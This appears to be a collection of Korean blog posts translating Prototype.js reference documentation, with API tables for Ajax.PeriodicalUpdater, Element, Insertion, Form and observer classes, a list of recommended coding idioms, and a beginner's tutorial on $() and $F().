    containers Object instance 이 객체는 두개의 프라퍼티(containers.success 는 AJAX호출이 성공할때 사용될것이다. 그리고 AJAX호출이 실패한다면 containers.failure가 사용될것이다.)를 포함한다.
    메소드 종류 인자 상세설명
    [ctor](container, url, options) constructor container: 이것은 요소의 id, 요소객체 자체, 또는 두개의 프라퍼티(AJAX호출이 성공했을때 사용될 object.success 요소(또는 id), 그리고 AJAX호출이 실패했을때 사용될 object.failure요소(또는 id))를 가지는 객체가 될수 있다. url: 가져오기 위한 url, options: AJAX 옵션 주어진 옵션을 사용하여 주어진 url을 호출할 이 객체의 하나의 인스턴스를 생성.
    updateContent() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 응답을 받았을때 객체 자체에 의해 호출된다. 이것은 HTML로 적절한 요소를 수정하거나 insertion옵션내 전달되는 함수를 호출할것이다. 이 함수는 두개의 인자(수정되기 위한 요소와 응답 텍스트)를 가지고 호출될것이다.

    toc

    Ajax.PeriodicalUpdater 클래스

    Ajax.Base로 부터 상속

    이 클래스는 반복적으로 인스턴스화하고 페이지에서 요소를 새롭게 하거나 Ajax.Updater가 수행할수 있는 다른 작업중 어느것을 수행하기 위한 Ajax.Updater객체를 사용한다. 좀더 많은 정보를 위해 Ajax.Updater 참조를 체크하라.

    프라퍼티 타입 종류 상세설명
    container Object instance 이 값은 Ajax.Updater생성자에 일관적으로 전달될것이다.
    url String instance 이 값은 Ajax.Updater의 생성자에 일관적으로 전달될것이다.
    frequency Number instance 초단위의 refresh간격. 디폴트는 2초. 이 숫자는 Ajax.Updater 객체를 호출할때 현재 축소(decay)에 의해 곱해질것이다.
    decay Number instance 작업을 재-수행할때 적용될 축소(decay)레벨을 유지
    updater Ajax.Updater instance 가장 최신에 사용된 Ajax.Updater 객체
    timer Object instance 다른 refresh를 위한 시각일때 객체를 알리기 위해 사용되는 자바스크립트 타이머.
    메소드 종류 인자 상세설명
    [ctor](container, url, options) constructor container:이것은 요소의 id, 요소객체 자체, 또는 두개의 프라퍼티(AJAX호출이 성공할때 사용될 object.success 요소(나 id), AJAX호출이 실패할때 사용할 object.failure 요소(나 id))를 가지는 객체가 될수 있다. url: 가져오기 위한 url, options: AJAX 옵션 주어진 옵션을 사용하여 주어진 url을 호출할 이 객체의 하나의 인스턴스를 생성
    start() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것의 정기적인 작업 수행을 시작하기 위해 객체 자체에 의해 호출된다.
    stop() instance (none) 주기를 가지는 작업 수행을 종료하도록 한다. 종료후, 객체는 onComplete 옵션에 주어진 콜백을 호출할것이다.
    updateComplete() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 요청을 완성한 후에 사용되는 Ajax.Updater에 의해 호출된다. 이것은 다음 refresh스케줄링 하기 위해 사용된다.
    onTimerEvent() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 다음 수정을 위한 시각일때 내부적으로 호출된다.

    toc

    Element 객체

    이 객체는 DOM내 요소를 변경하기 위해 몇몇 유틸리티성 함수들을 제공한다.

    메소드 종류 인자 상세설명
    addClassName(element, className) instance element: element 객체 또는 아이디, className: CSS 클래스명 주어진 class명을 요소의 class명으로 추가
    classNames(element) instance element: element 객체 또는 아이디 주어진 element와 관련된 CSS 클래스명을 표시하는 Element.ClassNames 객체를 반환
    cleanWhitespace(element) instance element: element 객체 또는 아이디 요소의 자식노드에서 공백을 제거
    empty(element) instance element: element 객체 또는 아이디 element태그가 비어있는지(또는 공백만을 가지고 있는지) 표시하는 Boolean값을 반환
    getDimensions(element) instance element: element 객체 또는 아이디 element의 면적(dimensions)을 반환. 반환된 값은 두개의 프라퍼티(heightwidth)를 가지는 객체이다.
    getHeight(element) instance element: element 객체 또는 아이디 요소의 offsetHeight값을 반환
    getStyle(element, cssProperty) instance element: element 객체 또는 아이디, cssProperty : CSS프라퍼티('prop-name' 또는 'propName' 가 작동하는 형태)의 이름 주어진 element내 CSS프라퍼티의 값을 반환하거나 존재하지 않는다면 null 을 반환
    hasClassName(element, className) instance element: element 객체 또는 아이디, className: CSS 클래스명 요소가 class명중에 하나로 주어진 class명을 가진다면 true를 반환
    hide(element) instance element: element 객체 또는 아이디 style.display'none'로 셋팅하여 각각의 요소를 숨긴다.
    makeClipping(element) instance element: element 객체 또는 아이디
    makePositioned(element) instance element: element 객체 또는 아이디 element의 style.position'relative'로 변경
    remove(element) instance element: element 객체 또는 아이디 문서로 부터 요소를 제거한다.
    removeClassName(element, className) instance element: element 객체 또는 아이디, className: CSS 클래스명 요소의 class명으로 부터 주어진 class명을 제거
    scrollTo(element) instance element: element 객체 또는 아이디 창을 element위치로 스크롤
    setStyle(element, cssPropertyHash) instance element: element 객체 또는 아이디, cssPropertyHash : 적용되기 위한 스타일을 가지는 Hash객체 cssPropertyHash 인자내 값에 따라, 주어진 element내 CSS프라퍼티의 값을 셋팅.
    show(element) instance element: element 객체 또는 아이디 style.display''로 다시 셋팅하여 각각의 요소를 보여준다.
    toggle(element) instance element: element 객체 또는 아이디 각각의 전달된 요소의 가시성(visibility)을 토글(toggle)한다.
    undoClipping(element) instance element: element 객체 또는 아이디
    undoPositioned(element) instance element: element 객체 또는 아이디 element의 style.position''으로 초기화
    update(element, html) instance element: element 객체 또는 아이디, html: html content 주어진 html인자를 가지는 요소의 내부 html을 대체. 주어진 html이 <script>블럭을 포함한다면, 그것들은 포함되지는 않지만 평가될것이다.
    visible(element) instance element: element 객체 또는 아이디 요소가 눈에 보이는지 표시하는 Boolean값을 반환

    toc

    Element.ClassNames 클래스

    Enumerable로 부터 상속

    element에 관련된 CSS 클래스명의 collection을 표시

    메소드 종류 인자 상세설명
    [ctor](element) constructor element: any DOM element 객체 또는 아이디 주어진 element의 CSS 클래스명을 표시하는 Element.ClassNames 객체를 생성
    add(className) instance className: CSS 클래스 명 element에 관련된 class명의 리스트에 주어진 CSS 클래스명을 추가
    remove(className) instance className: CSS 클래스 명 element에 관련된 class명의 리스트로부터 주어진 CSS 클래스명을 제거
    set(className) instance className: CSS 클래스 명 주어진 CSS 클래스명을 가진 element을 결합, element로부터 다른 class명을 제거.

    toc

    Abstract 객체

    이 객체는 라이브러리내 다른 클래스를 위한 root처럼 제공한다. 이것은 어떤 프라퍼티나 메소드도 가지지 않는다. 이 객체에 정의된 클래스는 전통적인 추상 클래스처럼 처리된다.

    toc

    Abstract.Insertion 클래스

    이 클래스는 동적으로 내용물을 추가할 다른 클래스를 위한 기본 클래스처럼 사용된다. 이 클래스는 추상 클래스처럼 사용된다.

    메소드 종류 인자 상세설명
    [ctor](element, content) constructor element: element 객체 또는 아이디, content: 삽입되는 HTML 동적 내용물 삽입을 도울 객체를 생성
    contentFromAnonymousTable() instance (none)
    프라퍼티 타입 종류 상세설명
    adjacency String static, parameter 내용물이 주어진 요소에 대해 상대적으로 위치할 지점을 명시하는 파라미터. 가능한 값은 'beforeBegin', 'afterBegin', 'beforeEnd', 그리고 'afterEnd'.
    element Object instance 삽입이 상대적으로 만들어질 요소객체
    content String instance 삽입될 HTML

    toc

    Insertion 객체

    이 객체는 라이브러리내 다른 클래스를 위한 root처럼 제공한다. 이것은 어떠한 프라퍼티나 메소드를 가지지 않는다. 이 객체에 정의된 클래스는 전통적인 추상 클래스처럼 처리된다.

    toc

    Insertion.Before 클래스

    Abstract.Insertion로 부터 상속

    요소 앞에 HTML삽입

    메소드 종류 인자 상세설명
    [ctor](element, content) constructor element: element 객체 또는 아이디, content: 삽입되는 HTML Abstract.Insertion으로 부터 상속. 동적으로 내용물을 삽입하는 것을 돕는 객체를 생성

    다음의 코드는

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going?</span>
    
    <script> new Insertion.Before('person', 'Chief '); </script>
    			

    다음처럼 HTML이 변경될것이다.

    
    <br/>Hello, Chief <span id="person" style="color:red;">Wiggum. How's it going?</span>	
    			

    toc

    Insertion.Top 클래스

    Abstract.Insertion로 부터 상속

    요소아래의 첫번째 자식으로 HTML을 삽입. 이 내용물은 요소의 열기 태그뒤에 위치할것이다.

    메소드 종류 인자 상세설명
    [ctor](element, content) constructor element: element 객체 또는 아이디, content: 삽입되는 HTML Abstract.Insertion으로부터 상속. 동적으로 내용물을 삽입하는 것을 돕는 객체 생성

    다음의 코드는

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going?</span>
    
    <script> new Insertion.Top('person', 'Mr. '); </script>
    			

    다음처럼 HTML이 변경될것이다.

    <br/>Hello, <span id="person" style="color:red;">Mr. Wiggum. How's it going?</span>	
    			

    toc

    Insertion.Bottom 클래스

    Abstract.Insertion로 부터 상속

    요소아래의 마지막 자식으로 HTML삽입. 내용물은 요소의 닫기 태그앞에 위치할것이다.

    메소드 종류 인자 상세설명
    [ctor](element, content) constructor element: element 객체 또는 아이디, content: 삽입되는 HTML Abstract.Insertion로 부터 상속. 동적으로 내용물을 삽입하는 것을 돕는 객체 생성

    다음의 코드는

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going?</span>
    
    <script> new Insertion.Bottom('person', " What's up?"); </script>
    			

    다음처럼 HTML이 변경될것이다.

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going? What's up?</span>	
    			

    toc

    Insertion.After 클래스

    Abstract.Insertion로 부터 상속

    요소의 닫기 태그뒤 HTML삽입

    메소드 종류 인자 상세설명
    [ctor](element, content) constructor element: element 객체 또는 아이디, content: 삽입되는 HTML Abstract.Insertion으로부터 상속. 동적으로 내용물을 삽입하는 것을 돕는 객체 생성

    다음의 코드는

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going?</span>
    
    <script> new Insertion.After('person', ' Are you there?'); </script>
    			

    다음처럼 HTML이 변경될것이다.

    <br/>Hello, <span id="person" style="color:red;">Wiggum. How's it going?</span> Are you there?	
    			

    toc

    Field 객체

    This object provides some utility functions for working with input fields in forms.

    메소드 종류 인자 상세설명
    activate(field) instance field: field element 객체 또는 아이디 포커스를 이동하고 텍스트 선택을 지원하는 field내 값을 선택
    clear(field) instance field: field element 객체 또는 아이디 field요소로부터 각각 전달된 값을 지움(clear)
    disable(field) instance field: field element 객체 또는 아이디 폼 필드 요소를 사용하지 못하도록 만든다. 요소 객체를 반환한다.
    enable(field) instance field: field element 객체 또는 아이디 폼 필드 요소를 사용가능하도록 만든다. 요소 객체를 반환한다.
    focus(field) instance field: field element 객체 또는 아이디 주어진 폼 field로 입력 포커스 이동
    getValue(field) instance field: field element 객체 또는 아이디 필드에 입력되거나 선택된 값을 반환한다.
    present(field) instance field: field element 객체 또는 아이디 모든 폼 field가 빈값이 아니라면 true를 반환
    select(field) instance field: field element 객체 또는 아이디 텍스트 선택을 지원하는 field내 값을 선택

    toc

    Form 객체

    이 객체는 데이터 항목 폼과 그것들의 입력 field와 작동하기 위한 몇몇 유틸리티성 함수를 제공한다.

    메소드 종류 인자 상세설명
    serialize(form) instance form: form element 객체 또는 아이디 'field1=value1&field2=value2&field3=value3'처럼 field명과 값의 url형태의 목록을 반환
    findFirstElement(form) instance form: form element 객체 또는 아이디 form에서 첫번째로 사용가능한 필드 element를 반환
    getElements(form) instance form: form element 객체 또는 아이디 폼내 모든 입력 field를 포함하는 Array 반환
    getInputs(form [, typeName [, name]]) instance form: form element 객체 또는 아이디, typeName: input요소의 타입, name: input요소명. 폼내 모든 <input>요소를 포함하는 Array 반환. 선택적으로 목록은 요소의 type이나 name속성에 의해 필터링 될수 있다.
    disable(form) instance form: form element 객체 또는 아이디 폼내 모든 입력 field를 사용불가상태로 만들기
    enable(form) instance form: form element 객체 또는 아이디 폼내 모든 입력 field를 사용가능하게 만들기
    focusFirstElement(form) instance form: form element 객체 또는 아이디 첫번째 가시성을 활성화하고, 폼내 입력 field를 가능하게 하기
    reset(form) instance form: form element 객체 또는 아이디 폼을 리셋하기. form객체의 reset()메소드와 같다.

    toc

    Form.Element 객체

    이 객체는 폼요소와 작동하기 위한 몇몇 유틸리티성 함수를 제공한다.

    메소드 종류 인자 상세설명
    serialize(element) instance element: element 객체 또는 아이디 'elementName=elementValue'처럼 요소의 name=value 짝을 반환
    getValue(element) instance element: element 객체 또는 아이디 요소의 값을 반환

    toc

    Form.Element.Serializers 객체

    이 객체는 폼요소의 현재 값을 가져오기 위해 라이브러리 내부적으로 사용되는 몇몇 유틸리티성 함수를 제공한다.

    메소드 종류 인자 상세설명
    inputSelector(element) instance element: radio 버튼이나 checkbox처럼 checked프라퍼티를 가지는 form요소의 객체 또는 아이디 ['elementName', 'elementValue']처럼 요소의 이름과 값을 가지는 Array을 반환
    textarea(element) instance element: textbox, button 또는 password필드처럼 value프라퍼티를 가지는 form요소의 객체 또는 아이디. ['elementName', 'elementValue']처럼 요소의 이름과 값을 가지는 Array를 반환
    select(element) instance element: <select> 요소의 객체 또는 아이디 ['elementName', 'selOpt1 selOpt4 selOpt9']처럼 요소의 이름과 모든 선택된 옵션의 값이나 텍스트를 가지는 Array를 반환

    toc

    Abstract.TimedObserver 클래스

    이 클래스는 값이 변경(또는 프라퍼티가 클래스정의를 얻어내는)될때까지 하나의 요소를 모니터링할 다른 클래스를 위한 기본클래스처럼 사용된다. 이 클래스는 추상클래스처럼 사용된다.

    하위클래스는 요소의 입력값, style프라퍼티중 하나, 또는 테이블내 row의 수, 또는 당신이 추적하고자 하는 모든것을 모니터링하기 위해 생성될수 있다.

    메소드 종류 인자 상세설명
    [ctor](element, frequency, callback) constructor element: element 객체 또는 아이디, frequency: 초단위 간격, callback: 요소가 변경될때 호출되는 함수 요소를 모니터링할 객체 생성
    getValue() instance, abstract (none) 클래스는 요소에서 모니터링이 되는 현재값이 무엇인지 판단하기 위햔 메소드를 구현해야만 한다.
    registerCallback() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 요소 모니터링릉 시작하기 위한 객체 자체에 의해 호출된다.
    onTimerEvent() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 요소를 체크하기 위해 정기적으로 객체 자체에 의해 호출된다.
    Property Type Description
    element Object 모니터링되는 요소객체.
    frequency Number 이것은 체크사이에 초단위 간격으로 이루어진다.
    callback Function(Object, String) 요소가 변경될때마다 호출되기 위한 함수. 이것은 요소객체와 새로운 값을 받을것이다.
    lastValue String 요소내 확인되는 마지막 값

    toc

    Form.Element.Observer 클래스

    Abstract.TimedObserver로 부터 상속

    폼 입력 요소의 값을 모니터링하는 Abstract.TimedObserver의 구현물. 값 변경을 보고하는 이벤트를 드러내지 않는 요소를 모니터링하고자 할때 이 클래스를 사용하라. 이 경우 당신은 Form.Element.EventObserver 클래스를 대신 사용할수 있다.

    메소드 종류 인자 상세설명
    [ctor](element, frequency, callback) constructor element: element 객체 또는 아이디, frequency: 초단위 간격, callback: 요소가 변경될때 호출되는 함수 Abstract.TimedObserver으로부터 상속. 요소의 value프라퍼티를 모니터링할 객체를 생성.
    getValue() instance (none) 요소의 값을 반환

    toc

    Form.Observer 클래스

    Abstract.TimedObserver로 부터 상속

    폼내 데이터 항목 요소의 값이 변경하는지를 모니터링하는 Abstract.TimedObserver의 구현물. 당신이 값 변경을 보고하는 이벤트를 드러내지 않는 요소를 포함하는 폼을 모니터링하고자 할때 이 클래스를 사용하라. 이 경우 당신은 Form.EventObserver 클래스를 대신 사용할수 있다.

    메소드 종류 인자 상세설명
    [ctor](form, frequency, callback) constructor form: form 객체 또는 아이디, frequency: 초단위 간격, form내 데이터 항목 요소가 변경될때 호출되는 콜백 함수 Abstract.TimedObserver로부터 상속. 변경하기 위한 폼을 모니터링할 객체 생성.
    getValue() instance (none) 모든 폼의 데이터의 직렬화를 반환

    toc

    Abstract.EventObserver 클래스

    이 클래스는 요소를 위해 값-변경 이벤트가 발생할때마다 콜백함수를 수행하는 다른 클래스를 위한 기본 클래스처럼 사용된다.

    Abstract.EventObserver 타입의 다중 객체는 다른것을 지우지 않고 같은 요소로 묶일수 있다. 콜백은 요소에 할당되는 순서대로 수행될것이다.

    트리거 형태의 이벤트는 radio버튼과 checkbox를 위해서는 onclick이고 대개의 textbox와 리스트박스/드랍다운을 위해서는 onchange이다.

    메소드 종류 인자 상세설명
    [ctor](element, callback) constructor element: element 객체 또는 아이디, callback: function to be called when the event happens 요소를 모니터링할 객체 생성.
    getValue() instance, abstract (none) 클래스는 요소에서 모니터링이 되는 현재값이 무엇인지 판단하기 위햔 메소드를 구현해야만 한다.
    registerCallback() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 요소의 이벤트를 자체적으로 묶는 객체에 의해 호출된다.
    registerFormCallbacks() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 폼내 각각의 데이터 항목 요소의 이벤트로 자체적으로 묶기 위한 객체에 의해 호출된다.
    onElementEvent() instance (none) 이 메소드는 대개 외부적으로 호출되지 않는다. 이것은 요소의 이벤트로 묶일것이다.
    프라퍼티 타입 상세설명
    element Object 모니터링되는 요소객체
    callback Function(Object, String) 요소가 변경될때마다 호출되기 위한 함수. 이것은 요소객체와 새로운 값을 받을것이다.
    lastValue String 요소내 확인되는 마지막 값

    toc

    Form.Element.EventObserver 클래스

    Abstract.EventObserver로 부터 상속

    요소내 값 변경을 감지하기 위한 폼 데이터 항목 요소의 적절한 이벤트를 위한 콜백 함수를 수행하는 Abstract.EventObserver의 구현물. 만약 요소가 변경을 보고하는 이벤트를 드러내지 않는다면, 당신은 Form.Element.Observer 클래스를 대신 사용할수 있다.

    메소드 종류 인자 상세설명
    [ctor](element, callback) constructor element: element 객체 또는 아이디, callback: 이벤트가 발생할때 호출될 함수 Abstract.EventObserver로 부터 상속. 요소의 value프라퍼티를 모니터링할 객체 생성.
    getValue() instance (none) 요소의 값 반환

    toc

    Form.EventObserver 클래스

    Abstract.EventObserver로 부터 상속

    값이 변결될때 감지하기 위한 요소의 이벤트를 사용하여 폼내 포함되는 어느 데이터 항목 요소에 변경을 모니터링하는 Abstract.EventObserver의 구현물. 만약 폼이 변경을 보고하는 이벤트를 드러내지 않는 요소를 포함한다면, 당신은 Form.Observer 클래스를 대신 사용할수 있다.

    메소드 종류 인자 상세설명
    [ctor](form, callback) constructor form: form 객체 또는 아이디, callback: form내 데이터 항목 요소가 변경될때 호출되는 함수 Abstract.EventObserver로부터 상속. 변경을 위해 폼을 모니터링할 객체 생성.
    getValue() instance (none) 모든 폼의 데이터 직렬화를 반환.

    toc

    Position 객체 (예비 문서)

    이 객체는 요소 위치할당을 작업할때 돕는 수많은 함수를 제공한다.

    메소드 종류 인자 상세설명
    prepare() instance (none) 스크롤 위치내 변경을 수용하기 위한 deltaXdeltaY 프라퍼티 조정. 페이지 스크롤후 withinIncludingScrolloffset를 호출하기 전에 이 메소드를 호출하는 것을 기억하라.
    realOffset(element) instance element: object 요소에 영향을 끼치는 어느 스크롤 offset를 포함하는 요소의 정확한 스크롤 offset를 가진 Array을 반환. 이 결과 배열은 [total_scroll_left, total_scroll_top]과 유사하다.
    cumulativeOffset(element) instance element: object 위치가 할당된 부모 요소에 의해 부과된 어느 offset를 포함하는 요소의 정확한 위치가 할당된 offset를 가진 Array을 반환. 결과 배열은 [total_offset_left, total_offset_top]과 유사하다.
    within(element, x, y) instance element: object, x 와 y: 위치 조정 만약 주어진 지점이 주어진 요소의 직사각형내 조정이 되는지 테스트
    withinIncludingScrolloffsets(element, x, y) instance element: object, x and y: coordinates of a point  
    overlap(mode, element) instance mode: 'vertical' or 'horizontal', element: object within()은 이 메소드가 호출되기 전에 호출될 필요가 있다. 이 메소드는 요소에서 겹치는 것을 조정하는 세분화정도를 표현하는 0.0과 1.0사이의 10진수를 반환할것이다. 예를 들면, 만약 요소가 100px를 가지는 정사각형 DIV이고 (300,300)에 위치한다면, within(divSquare, 330, 330); overlap('vertical', divSquare);는 0.70을 반환해야만 한다. 이 값이 의미하는 것은 DIV의 아래쪽 경계에서 70%(100px - 30px = 70px)를 표시하는 지점이라는 것이다. 이해하기 가장 쉬운 방법은 다른 사각형의 위-왼쪽 구석처럼 주어진 쌍을 생각하는 것이다. 숫자값은 겹치는 넓이와 높이의 퍼센트값일 것이다.
    clone(source, target) instance source: element 객체 또는 아이디, target: element 객체 또는 아이디 source요소에 대해 똑같이 target요소의 크기를 다시 조정하고 다시 위치를 지정

    1.5.0을 위한 이 문서는 여전히 작업중입니다. 이 문서의 업데이트를 계속 지켜봐주십시오.
    만약 에러를 발견한다면, 나에게 알려주십시오. 그러면 가능한 한 빨리 그것을 수정할것입니다.
    한글 번역에 관련된 부분은 한국어 번역자으로 알려주십시오.

    Posted by 1010
    반응형

    목차

    1. id로 특정 요소 가져오기[1]
    2. 폼 컨트롤러의 값을 가져오기[2]
    3. 스타일 변경하기[3]
    4. html 내용 변경하기[4]
    5. Ajax Request의 파라미터 셋팅하기[5]
    6. Ajax Request 생성하기[6]
    7. Event 추가하기[7]
    8. 각 요소별로 함수 실행하기[8]
    9. 이벤트 핸들링[9]
    10. 호출 체이닝[10]
    11. 테이블 형태의 html 내용변경하기[11]
    12. key 이벤트 감지하기[12]
    13. 이벤트 가로채기[13]
    14. insert() 메소드 제대로 사용하기[14]
    15. form 다루기[15]

    id로 특정 요소 가져오기[#1]

    이전의 방법
    document.getElementById('foo')

    추천하는 방법

    $('foo')

    폼 컨트롤러의 값을 가져오기[#2]

    이전의 방법
    var woot = document.getElementById('bar').value
    var woot = $('bar').value

    추천하는 방법

    var woot = $F('bar')

    스타일 변경하기[#3]

    이전의 방법
    $('footer').style.height = '100px';
    $('footer').style.background = '#ffc';  

    추천하는 방법

    $('footer').setStyle({
      height: '100px',
      background: '#ffc'
    })

    html 내용 변경하기[#4]

    이전의 방법
    $('coolestWidgetEver').innerHTML = 'some nifty content'

    추천하는 방법

    $('coolestWidgetEver').update('some nifty content')

    Ajax Request의 파라미터 셋팅하기[#5]

    이전의 방법
    new Ajax.Request('ninja.php?weapon1=foo&weapon2=bar')

    추천하는 방법

    new Ajax.Request('ninja.php', {
      parameters: {
        weapon1: 'foo',
        weapon2: 'bar'
      }
    })

    Ajax Request 생성하기[#6]

    이전의 방법
    new Ajax.Request('blah.php', {
      method: 'POST',
      asynchronous: true,
      contentType: 'application/x-www-form-urlencoded',
      encoding: 'UTF-8',
    })

    추천하는 방법

    new Ajax.Request('blah.php')

    여기서 위 방법이 잘못된게 아니다. 하지만 사용된 값이 모두 디폴트 값이기 때문에 굳이 표기할 필요가 없다는 것이다.

    Event 추가하기[#7]

    이전의 방법
    Event.observe('myContainer', 'click', doSomeMagic)

    추천하는 방법

    $('myContainer').observe('click', doSomeMagic)

    뒤의 방법이 좀더 객체 지향적이고 다른 이벤트를 추가하기가 용이하다.

    각 요소별로 함수 실행하기[#8]

    이전의 방법
    $$('div.hidden').each(function(el){
      el.show();
    })

    추천하는 방법

    $$('div.hidden').invoke('show')

    같은 기능을 하기 위해 첫번째 방법처럼 지나치게 많은 함수를 사용할 필요가 없다.

    이벤트 핸들링[#9]

    이전의 방법
    $$('div.collapsed').each(function(el){
      el.observe('click', expand);
    })

    추천하는 방법

    $$('div.collapsed').invoke('observe', 'click', expand)

    호출 체이닝[#10]

    이전의 방법
    $$('input.date').invoke('observe', 'focus', onFocus);
    $$('input.date').invoke('observe', 'blur', onBlur);

    추천하는 방법

    $$('input.date')
      .invoke('observe', 'focus', onFocus)
        .invoke('observe', 'blur', onBlur)

    위 두가지 모두 같은 기능을 실행하게 되지만 앞의 예제처럼 $$() 함수를 두번이나 호출해서 처리할 필요가 없다. 아래의 경우처럼 체이닝(chaining nirvana)를 사용하면 된다.

    테이블 형태의 html 내용변경하기[#11]

    이전의 방법
    $('productTable').innerHTML = 
      $('productTable').innerHTML + 
      '<tr><td>' + productId + ' '
      + productName + '</td></tr><tr><td>'
      + productId + ' ' + productPrice + 
      '</td></tr>'

    추천하는 방법

    var rowTemplate = new Template('<tr><td>#{id} #{name}</td></tr><tr><td>#{id} #{price}</td></tr>');
    $('productTable').insert(
      rowTemplate.evaluate({
        id: productId,
        name: productName,
        price: productPrice
      }))
    )

    위 두가지 모두 같은 기능을 실행하게 되지만 앞의 예제처럼 $$() 함수를 두번이나 호출해서 처리할 필요가 없다. 아래의 경우처럼 체이닝(chaining nirvana)를 사용하면 된다.

    key 이벤트 감지하기[#12]

    $('myInput').observe('keyup', function(e){
      if (e.keyCode == Event.KEY_TAB)
        doSomethingCoolWhenTabIsPressed();
    })

    keyCode는 KEY_RETURN, KEY_ESC, KEY_TAB, KEY_LEFT, KEY_UP, KEY_RIGHT, KEY_DOWN 과 같은 값들이 있다.

    이벤트 가로채기[#13]

    기본적인 방법
    Event.observe('productInfo', 'click', displayProductInfo, false); // 'false' could be skipped
    Event.observe('productInfo', 'click', displayProductInfo);

    간단한 방법

    $('productInfo').observe('click', displayProductInfo, false); // 'false' could be skipped
    $('productInfo').observe('click', displayProductInfo);

    insert() 메소드 제대로 사용하기[#14]

    new Insertion.Bottom('blogEntry',
      new Template('<div><h2>#{name}</h2><p>#{content}</p></div>')
        .evaluate({
          name: blogEntry.name,
          content: blogEntry.content
        }));
     
    // Insertion class is deprecated - it's recommended to use Element's insert method:
     
    $('blogEntry').insert(new Template('<div><h2>#{name}</h2><p>#{content}</p></div>')
        .evaluate({
          name: blogEntry.name,
          content: blogEntry.content
        }), 'bottom' ); // "bottom" can be skipped
     
    $('blogEntry').insert(new Template('<div><h2>#{name}</h2><p>#{content}</p></div>')
        .evaluate({
          name: blogEntry.name,
          content: blogEntry.content
        }));

    위치값은 top, bottom, before, after 를 사용할수 있다. 이 값을 생략한다면 디폴트는 bottom이다.

    form 다루기[#15]

    다음은 .request를 사용하는 일반적인 form이다.
    $('register').observe('submit', function(e){
      Event.stop(e);
      $(this).request();
    })

    .getInputs 는 type과 name속성에 기초하여 요소를 필터링하기 쉬도록 해준다. 여기서는 "email" 이라는 이름의 요소를 직렬화하고 폼의 "action" 이라는 속성내 포함된 URI에 결과를 서브밋한다.

    $('register').observe('submit', function(e){
      Event.stop(e);
      new Ajax.Request($(this).readAttribute('action'), {
        parameters: Form.serializeElements($(this).getInputs('', 'email'))
      })
    })

    앞서 본 .getInputs가 대부분의 경우 유용하지만 일부 속성을 제외하고자 할때는 .reject를 사용한다.

    $('register').observe('submit', function(e){
      Event.stop(e);
      new Ajax.Request(this.readAttribute('action'), {
        parameters: Form.serializeElements($(this).getElements()
          .reject(function(el){return el.hasAttribute('multiple')})
        );
      })
    })
    Posted by 1010
    반응형

    소개

    웹 도처에 사용되는 자바스크립트의 늘어가는 인기는 클라이언트측 코드가 안정성, 속도, 재사용성등이 혼합으로 구현되도록 하는것이 좀더 중요하게 되었다. 이것을 달성하기 위한 가장 좋은 방법중 하나는 간단한 라이브러리와 모든 프로젝트를 위한 기본사항처럼 사용하기 위한 문법이다. 고맙게도 Sam Stephenson 는 우리의 자바스크립트 개발을 쉽게 하기 위한 Prototype.js 라 불리는 놀라운 함수들의 라이브러리를 만들었다.

    우리의 독자들이Prototype 문법을 사용하는 문서 를 읽은 후 크게 놀랐고, 우리는 많은 개발자를 위해 좀더 쉽게 배울수 있도록 도와주는 라이브러리를 위한 참조문서를 만드는게 좋겠다는 결심을 했다. 다음의 튜토리얼은 Particletree프로젝트에서 사용된 가장 공통적인 함수들을 사용하는 간단한 예제와 함께 설명할 것이다. 이 문서는 Sergio Pereira에 의해 좀더 많은 내용을 가진 비공식적인 프로토타입 문서 와 함께 사용되었음을 의미한다. 그리고 script.aculo.us 문서 위키는 모든 자바스크립트/프로토타입 개발자들이 읽기를 매우 추천한다.

    시작하기

    파일을 다운로드 한 후에, 당신이 선호하는 디렉토리에 그 파일들을 넣어둬라. 당신이 해야할 일은 html문서에 다음처럼 추가를 하는 것이다.

    <script src="/scripts/prototype.js" type="text/javascript"></script>

    이것으로 자바 스크립트를 개발하는게 10배는 쉬워진다. 지금, 당신이 획득한 새롭고 멋진 무기를 보자.

    알림 - 이 튜토리얼은 1.3.1버전을 기반으로 작성되었다.

    $() 함수

    가장 자주 사용되고 편리한 함수인, $()는 DOM요소를 다루기 위한 쉬운 방법을 제공한다. 일반적으로, 당신이 DOM내 특정 요소에 접근하고자 한다면, 다음처럼 작성할것이다.

    node = document.getElementById("elementID");

    $()를 사용하면, 다음처럼 간단히 작성할수 있다.

    node = $("elementID");

    간단하고 멋지지만 이러한 장점보다, $()함수는 다중 요소를 함수안으로 가져오는 기능을 가지고 있기 때문에 document.getElementById()보다 좀더 강력하다.

    allNodes = $("firstDiv", "secondDiv");
    for(i = 0; i < allNodes.length; i++) {
        alert(allNodes[i].innerHTML);
    }

    이 예제에서, 우리는 루프를 통해 간단히 접근할수 있는 요소들의 배열을 가지고 오는 것을 볼수 있다.

    폼 헬퍼(Form Helper) 함수

    폼은 HTML과 CSS관점에서 근심거리일뿐 아니라, 자바스크립트의 측면에서도 그렇다. Prototype.js는 폼을 다루는 유용하고 독창적인 함수를 제공한다.

    $F() 함수 는 폼 요소의 값과 전달하는 ID를 반환한다. 만약 우리가 다음처럼 HTML필드를 둔다면,

    <input type="text" id="textfield" name="textfield" />
    <textarea rows="5" cols="5" id="areafield" name="areafield"></textarea>
    <select id="selectfield" name="selectfield">
        <option value="1" selected>One</option>
        <option value="2">Two</option>
    </select>
    <input type="checkbox" id="checkfield" name="checkfield" value="1" checked />

    우리는 $F()함수를 사용하여 폼내의 값들에 쉽게 접근할수 있다.

    $F("textfield");      // returns the value of the text input
    $F("areafield");      // returns the value of the textarea
    $F("selectfield");    // returns the selected value of the select
    $F("checkfield");     // returns undefined if not checked, or the value

